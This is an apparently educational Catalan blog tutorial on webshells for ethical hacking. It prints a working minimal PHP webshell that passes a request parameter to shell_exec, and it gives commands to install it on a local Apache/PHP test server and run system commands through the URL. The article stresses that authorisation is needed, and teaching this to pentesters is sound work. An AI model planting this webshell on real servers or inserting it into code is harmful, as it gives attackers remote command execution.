Prengues el control remot: Explorant el Poder Ocult de les Webshells



En el context del hacking ètic, una webshell és un script que un atacant puja a un servidor web compromès per obtenir control remot del servidor. Aquesta tècnica s’utilitza per realitzar tasques com l’execució de comandes del sistema, exfiltració de dades o com a punt d’entrada per a altres activitats malicioses. No obstant això, en el hacking ètic, s’utilitza per avaluar la seguretat del servidor i trobar vulnerabilitats abans que ho facin els atacants.

Què és una webshell?

Una webshell és bàsicament un script (escrit en llenguatges com PHP, ASP, JSP, etc.) que permet a l’usuari executar comandes en el servidor web. Aquests scripts poden ser tan simples com un formulari que permet l’execució de comandes de shell, o tan complexos com un panell d’administració complet.

Exemple de webshell en PHP

Un exemple bàsic d’una webshell en PHP seria:

<?php
if(isset($_REQUEST['cmd'])){
    echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>';
}
?>

Aquest script permet executar comandes del sistema operatiu directament des del navegador web en passar el paràmetre cmd a la URL.

Ús de webshells amb Kali Linux

Kali Linux és una distribució de Linux popular entre els professionals de la seguretat informàtica per les seves nombroses eines de pentesting. Aquí et deixo un exemple de com podríes utilitzar una webshell en un entorn de proves amb Kali Linux.

Pas 1: Preparar l’entorn

  1. Instal·lar un servidor web: Pots utilitzar Apache o qualsevol altre servidor web en el teu entorn de proves.
   sudo apt update
   sudo apt install apache2
  1. Habilitar PHP: Assegura’t de tenir PHP instal·lat i configurat al teu servidor.
   sudo apt install php libapache2-mod-php
   sudo systemctl restart apache2

Pas 2: Pujar la webshell

  1. Crear la webshell: Guarda l’script PHP d’exemple en un fitxer anomenat webshell.php.
   echo "<?php if(isset(\$_REQUEST['cmd'])){ echo '<pre>' . shell_exec(\$_REQUEST['cmd']) . '</pre>'; } ?>" > /var/www/html/webshell.php
  1. Configurar permisos: Assegura’t que el fitxer tingui els permisos adequats per ser executat pel servidor web.
   sudo chown www-data:www-data /var/www/html/webshell.php
   sudo chmod 644 /var/www/html/webshell.php

Pas 3: Executar comandes a través de la webshell

  1. Accedir a la webshell: Obre el teu navegador i accedeix a http://<IP-DEL-SERVIDOR>/webshell.php.
  2. Executar una comanda: A la barra d’adreces, pots afegir el paràmetre cmd per executar una comanda. Per exemple, per llistar els fitxers al directori arrel:
   http://<IP-DEL-SERVIDOR>/webshell.php?cmd=ls

Veuràs la sortida de la comanda ls directament al teu navegador.

Importància en el hacking ètic

En el hacking ètic, pujar i utilitzar una webshell permet al pentester identificar i explotar possibles vulnerabilitats en un entorn controlat. Això ajuda les organitzacions a:

  • Identificar punts febles: Determinar quines configuracions del servidor són vulnerables a l’execució remota de comandes.
  • Millorar la seguretat: Implementar mesures de seguretat per prevenir la pujada i execució d’scripts maliciosos, com configuracions adequades de permisos i filtres a les entrades d’usuaris.
  • Entrenar l’equip de seguretat: Simular atacs per preparar l’equip de seguretat de l’organització en la detecció i resposta a incidents.

Precaucions i ètica

És important recordar que l’ús de webshells fora d’un entorn autoritzat i controlat és il·legal i poc ètic. Sempre has d’obtenir el permís explícit del propietari del sistema abans de realitzar qualsevol tipus de prova de seguretat.

En resum, les webshells són eines poderoses dins l’arsenal d’un pentester ètic i, quan s’utilitzen correctament, poden ajudar a enfortir la seguretat dels sistemes i aplicacions web.